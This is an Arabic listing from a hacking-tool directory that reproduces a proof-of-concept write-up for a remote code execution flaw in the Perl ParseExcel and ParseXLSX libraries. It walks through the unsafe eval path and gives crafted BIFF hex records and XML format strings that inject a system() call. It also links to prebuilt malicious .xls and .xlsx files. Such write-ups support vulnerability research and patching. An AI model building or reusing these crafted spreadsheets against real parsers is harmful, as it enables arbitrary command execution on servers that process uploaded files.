Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
perl_spreadsheet_excel_rce_poc — POC لثغرة RCE في مكتبة ParseExcel، وأيضًا ParseXLSX، كمكتبة تابعة | Kitploit
أدوات/GitHubGitHub/haile01/perl_spreadsheet_excel_rce_poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبتطوير الحمولاتاستغلال الملفات الثنائية
GitHubhaile01/perl_spreadsheet_excel_rce_poc

perl_spreadsheet_excel_rce_poc

POC لثغرة RCE في مكتبة ParseExcel، وأيضًا ParseXLSX، كمكتبة تابعة

عرض المستودع
1862منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة أمنية في ParseExcel

TL;DR: تنفيذ التعليمات البرمجية عن بُعد (RCE) من منطق تحليل سلاسل التنسيق.

شرح مختصر للاستغلال

السبب الجذري للاستغلال ينبع من استدعاء eval على مدخلات مستخدم غير مُتحقق منها في Utility.pm

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/Utility.pm#L171

root@kitploit:~
# Uitlity.pm
sub ExcelFmt {
	my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;

	return $number unless $number =~ $qrNUMBER;
	
	my $conditional;
	if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
		$conditional = $1;
		$format_str  = $2;
	}

	#...

	if ($conditional) {
		# TODO. Replace string eval with a function.
		$section = eval "$number $conditional" ? 0 : 1;
	}
    #...
}

وفقًا لما فحصته، فإن التنفيذ الحالي لهذا التدفق يفتقر إلى التحقق المناسب، بينما يُعد استخدام eval للتعامل مع منطق المقارنات مبالغًا فيه في هذه الحالة. ولهذا السبب، فإن كلاً من و (المُستخدمين لقراءة البيانات من ملفات Excel) معرّضان لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE).

ParseExcel::parse
ParseXLSX::parse

أين يوجد $format_str؟

ValFmt هو المُستدعي الأكثر احتمالية لـ ExcelFmt، لذا سأتعمق في شرح هذه الدالة

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L141-L161

root@kitploit:~
sub ValFmt {
    my ( $oThis, $oCell, $oBook ) = @_;

    my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );

    if ( $oCell->{Type} eq 'Text' ) {
        $Dt =
          ( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
          ? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
          : '';

        return $Dt;
    }
    else {
        $Dt      = $oCell->{Val};
        $Flg1904 = $oBook->{Flg1904};
        my $sFmtStr = $oThis->FmtString( $oCell, $oBook );

        # where RCE lies => $oCell->{Type} must be either "Date" or "Number"
        return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} ); 
    }
}

إذا كان $oCell->{Type} هو Date أو Number، فسيتم استدعاء ExcelFmt.

أما القيمة $format_str فهي المُعادة من دالة أخرى: FmtString

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L101-L136

root@kitploit:~
sub FmtString {
    my ( $oThis, $oCell, $oBook ) = @_;

    my $sFmtStr =
      $oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
        $oBook ); # maps to the correct format string
        
    #...

    unless ( defined($sFmtStr) ) {
        # assigns default format string depending on the value, can ignore
        #...
    }
    return $sFmtStr;
}

يتم استدعاء دالة أخرى هنا أيضًا، لذا سنفحص FmtStringDef كذلك

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L87-L96

root@kitploit:~
sub FmtStringDef {
    my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
    my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping

    # More with assigning default format string, can ignore
    #...
}

جميع المتغيرات واضحة، ويمكننا استنتاج ناقل الهجوم كما يلي:

  • حقن سلسلة التنسيق الخبيثة بالفهرس $iFmtIdx
  • التأكد من أن تنسيق خلية $oBook->{Format}[$cellFmtIdx] يرتبط بـ $iFmtIdx
  • التأكد من أن خلية ترتبط بتنسيق الخلية ذلك ($oCell->{FormatNo} = $cellFmtIdx) ![[flow 1.png]]

في الأقسام أدناه، سأقدّم شرحًا تفصيليًا لكيفية نقل الحمولة كود الصدفة إلى أمر eval. سيكون هناك قسمان: أحدهما لتحليل ملف .xls باستخدام ParseExcel والآخر لتحليل ملف .xlsx باستخدام ParseXLSX.

إثبات المفهوم (PoC)

للتوضيح، فيما يلي رابط لملفات Excel الخبيثة التي صممناها (بصيغة .xls و.xlsx) والتي تشغّل whoami وتخزّن النتيجة في ملف /tmp/inject.txt.

https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b

الاستغلال على ملف XLS

خذ برنامج Perl بسيطًا لتحليل ملف xls كما في الأسفل، والذي يستخدم ParseExcel::parse. سيحدث تنفيذ التعليمات البرمجية عن بُعد (RCE) أثناء عملية التحليل، حتى قبل جلب أي بيانات.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;

my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");

حقن سلسلة التنسيق

ملفات Excel 97 الثنائية مُهيكلة في كتل من البيانات الثنائية تُسمى سجلات BIFF. يبدأ كل سجل بترويسة تُسمى opCode (بترتيب البايتات الأقل دلالة أولاً)، يليها طول السجل ثم بياناته الفعلية.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L438

root@kitploit:~
sub QueryNext {
    my ( $q ) = @_;


    if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
        return 0;
    }

    my $data = substr( $q->{stream}, $q->{streamPos}, 4 );

    ( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );

    # No biff record should be larger than around 20,000.
    if ( $q->{length} >= 20000 ) {
        return 0;
    }

    if ( $q->{length} > 0 ) {
        $q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
    }
    else {
        $q->{data}                     = undef;
        $q->{dont_decrypt_next_record} = 1;
    }

    if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
        # Handles with decryption
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
        # not implemented
        return 0;
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {

    }

    $q->{streamPos} += 4 + $q->{length};

    return 1;
}

بعد ذلك، يتم استخدام مُعالج مطابق لنوع السجل لاستخراج بيانات سجل BIFF.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L576-L580

root@kitploit:~
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
		$self->{FuncTbl}->{$record}
			->( $workbook, $record, $record_length, $record_header );
}

يتم التعامل مع سلسلة التنسيق بواسطة _subFormat، مع opCode = 0x41E

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1563-L1585

root@kitploit:~
sub _subFormat {

    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    my $sFmt;

    if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
        $sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
        $sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
    }
    else {
        $sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
    }

    my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );

    # Excel 4 and earlier used an index of 0 to indicate that a built-in format
    # that was stored implicitly.
    if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
        $format_index = keys %{ $oBook->{FormatStr} };
    }

    $oBook->{FormatStr}->{$format_index} = $sFmt;
}

لم أكن متأكدًا من إصدار BIFF المستخدم في ملف .xls الخاص بي، لكن وفقًا للبيانات الموجودة في الملف الثنائي، يجب أن يطابق حالة else (> verBIFF5).

يجب أن يكون هيكل سجل سلسلة التنسيق في إصدارات BIFF الأحدث كما يلي: 1E 04 [طول السجل - 2 بايت] [فهرس سلسلة التنسيق - 2 بايت] [طول سلسلة التنسيق - 1 بايت] [أعلام السلسلة - 2 بايت] [محتوى سلسلة التنسيق]

باتباع الهيكل الصحيح، يمكنني حقن أي سلسلة تنسيق في ملف .xls.

سجل BIFF الفعلي لسلسلة التنسيق التي حقنتها في إثبات المفهوم (فهرس سلسلة التنسيق هو \x00\xa5)

root@kitploit:~
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73  ..1...,..[>123;s
                    ^^^^
		        format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20  ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427  /tmp/inject.txt'
00000030: 295d 3132 33                             )]123

ربط تنسيق خلية بسلسلة التنسيق

تحدّد تنسيقات الخلايا العديد من الخصائص للخلية، مثل سلسلة التنسيق والأنماط والخطوط... يمكن لتنسيق خلية واحد أن يرتبط بسلسلة تنسيق واحدة من خلال تضمين فهرس سلسلة التنسيق داخل سجل BIFF الخاص بها. تتم معالجة هذا المنطق بواسطة _subXf

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1441-L1558

root@kitploit:~
sub _subXF {
    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    
    #...

    if ( $oBook->{BIFFVersion} == verBIFF4 ) {
        #...
    }
    elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
        my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );

        ( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
          = unpack( "v7Vv", $sWk );
        #...
    }
    else {
        ( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
          unpack( "v8", $sWk );
        #...
    }

    push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
        FontNo => $iFnt,
        Font   => $oBook->{Font}[$iFnt],
        FmtIdx => $iIdx, # <- the index that points to format string index
        #...
    );
}

نظرًا لأن BIFFVersion لدينا أكبر من BIFF5، فلا ينبغي أن يقع الشرط في الحالة الأولى. بالنسبة للحالتين الأخريين، نعلم أن $iIdx هو الكلمة الثانية في بيانات BIFF. ولهذا السبب، من السهل تنفيذ هذه الخطوة أيضًا.

سجل BIFF الفعلي لتنسيق الخلية الذي استخدمته في إثبات المفهوم

root@kitploit:~
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000  .......... .....
                         ^^^^
                  format string index
00000010: 0000 0000 0000 c020                      .......

علاوة على ذلك، يتم تحديد تنسيقات الخلايا من خلال فهرسها في قائمة، لذا قمت بتعديل السجل الأول، وبالتالي يجب أن يكون فهرس تنسيق الخلية الخاص بي 0

ربط خلية بتنسيق الخلية

لكي تطبّق الخلية تنسيقًا، يجب أن تتضمن معرف تنسيق الخلية داخل سجل BIFF الخاص بها. ومع ذلك، كما ذكرت سابقًا، فقط الخلايا من نوع Number أو Date يمكنها تشغيل ثغرة RCE، لذا سأستخدم خلية من نوع التاريخ في إثبات المفهوم (يُشار إليها بسجل RK BIFF).

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L918-L939

root@kitploit:~
sub _subRK {
    my ( $workbook, $biff_number, $length, $data ) = @_;
    my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
    my $number = _decode_rk_number( $rk_number );

    _NewCell(
        $workbook, $row, $col,
        Kind     => 'RK',
        Val      => $number,
        FormatNo => $format_index,
        Format   => $workbook->{Format}->[$format_index],
        Numeric  => 1,
        Code     => undef,
        Book     => $workbook,
    );
    #... 
}

يمكننا أن نرى أن الفهرس الذي يرتبط بتنسيق خلية هو الآن الكلمة الثالثة من السجل، لذا كل ما نحتاجه هو تصفير هذه الكلمة إلى \x00

سجل BIFF الفعلي لخلية التاريخ التي استخدمتها في إثبات المفهوم

root@kitploit:~
00000000: 7e02 0a00 0000 0000 0000 201a e240       ~......... ..@
                              ^^^^
	                        format index

لاحظ أن الدالة _subRK لم تُعرِّف النوع Date صراحةً بعد. يتم فحص النوع في chkType بدلًا من ذلك

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L166-L181

root@kitploit:~
sub ChkType {
    my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
    if ($iNumeric) {
        if (   ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
            || ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
        {
            return "Date";
        }
        else {
            return "Numeric";
        }
    }
    else {
        return "Text";
    }
}

بما أن $iNumeric مُعيَّن على 1، فنحن متأكدون أن النوع ليس Text

أخيرًا، عند تهيئة كائن Cell جديد، سيتم استدعاء ValFmt وتستمر سلسلة التنفيذ، لتنقل كود الصدفة الخاص بنا إلى دالة eval.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel.pm#L2375-L2433

الاستغلال على ملف XLSX

التعامل مع ملف .xlsx أسهل بكثير، إذ يمكننا تعديل البيانات مباشرةً كنص واضح (بتنسيق xml).

خذ برنامج Perl بسيطًا لتحليل ملف xls كما في الأسفل، والذي يستخدم ParseXLSX::parse. سيحدث تنفيذ التعليمات البرمجية عن بُعد (RCE) أثناء عملية التحليل، حتى قبل جلب أي بيانات.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;

my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");

ملف XLSX هو ملف zip يضغط العديد من ملفات xml، يحتوي كل منها على أنواع محددة من بيانات المصنف. فيما يلي مثال على هيكل المجلدات:

root@kitploit:~
|- [Content_Types].xml 
|- _rels
|- docProps
	|- app.xml
	|- core.xml
|- xl
	|- _rels   
		|- workbook.xml.rels          
	|- styles.xml              <--- Format strings & cell formats       
	|- workbook.xml
	|- sharedStrings.xml 
	|- theme             
		|- theme1.xml
	|- worksheets
		|- sheet1.xml            <--- Cell values

حقن سلسلة التنسيق وربطها بتنسيق خلية

يتم تضمين سلسلة التنسيق في ملف xl/styles.xml، تحت وسم <numFmts>، بينما تُعرَّف تنسيقات الخلايا تحت وسم <cellXfs>.

https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L630-L923

root@kitploit:~
sub _parse_styles {
    # ...
    my %format_str = (
        %default_format_str,
        (map {
            $_->att('numFmtId') => $_->att('formatCode')
        } $styles->find_nodes('//s:numFmts/s:numFmt')),
    );
    # ...
    my @format = map {
        my %opts = (
            %default_format_opts,
            %ignore,
        );
        # ...
        $opts{FmtIdx}   = 0+($xml_fmt->att('numFmtId')||0);
        # ...
        Spreadsheet::ParseExcel::Format->new(%opts)
    } $styles->find_nodes('//s:cellXfs/s:xf');
    # ...
    
    
    return {
        FormatStr => \%format_str,
        Font      => \@font,
        Format    => \@format,
    }
}

لحقن سلسلة تنسيق، نحتاج إلى إضافة وسم <numFmt>، بحيث يكون formatCode هو سلسلة التنسيق، وأن تكون numFmtId أي قيمة عدد صحيح نريدها. هنا استخدمت 123.

بعد ذلك، سنضيف خلية <xf> إضافية للربط بسلسلة التنسيق، بحيث تكون سمة numFmtId هي المعرّف الذي اخترناه (123)

بيانات xml النهائية التي استخدمتها في إثبات المفهوم

root@kitploit:~
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
  <numFmts count="1">
    <!-- injected format string -->
    <numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
  </numFmts> 
...
  <cellXfs count="4">
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
      <alignment horizontal="center"/>
    </xf>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
    <!-- injected cell format -->
    <xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
  </cellXfs>
...
</styleSheet>

ربط خلية بتنسيق الخلية

https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L205-L487

root@kitploit:~
sub _parse_sheet {
    my $sheet_xml = $self->_new_twig(
        twig_roots => {
            #...
            's:sheetData/s:row' => sub {
                my ( $twig, $row_elt ) = @_;
                for my $cell ( $row_elt->children('s:c') ){
                    my $type = $cell->att('t') || 'n';
                    my $val = $val_xml ? $val_xml->text : undef;

                    #...
                    elsif ($type eq 'n') {
                        $long_type = 'Numeric';
                        $val = defined($val) ? 0+$val : undef;
                    }
                    elsif ($type eq 'd') {
                        $long_type = 'Date';
                    }
                    # other $type results into $long_type = 'Text'
                    #...
                    
                    my $format_idx = $cell->att('s') || 0;
                    my $format = $sheet->{_Book}{Format}[$format_idx];
                    die "unknown format $format_idx" unless $format;
                    
                    my $cell = Spreadsheet::ParseExcel::Cell->new(
                        Val      => $val,
                        Type     => $long_type,
                        Merged   => undef, # fix up later
                        Format   => $format,
                        FormatNo => $format_idx,
                        ($formula
                            ? (Formula => $formula->text)
                            : ()),
                        Rich     => $Rich,
                    );
                    $cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
                        $cell, $sheet->{_Book}
                    );
                }
            }
        }
    )
}

منطق قراءة بيانات الخلية في هذه المكتبة أكثر مباشرةً، إذ يُسند النوع والقيمة مباشرةً من سمات وسم xml. وبما أننا نحتاج $oCell->{Type} ليكون Date أو Numeric، فنحتاج فقط أن تكون السمة t بقيمة d أو n. لربط الخلية بتنسيق الخلية، سنضبط أيضًا السمة s على فهرس تنسيق الخلية (3).

بيانات xml النهائية التي استخدمتها في إثبات المفهوم

root@kitploit:~
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
  ...
  <sheetData>
    <row r="1" spans="1:2" x14ac:dyDescent="0.2">
      <c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
        <v>0</v>
      </c>
      <c r="B1" s="2"/>
    </row>
  </sheetData>
  ...
</worksheet>
`
تنزيل الأداة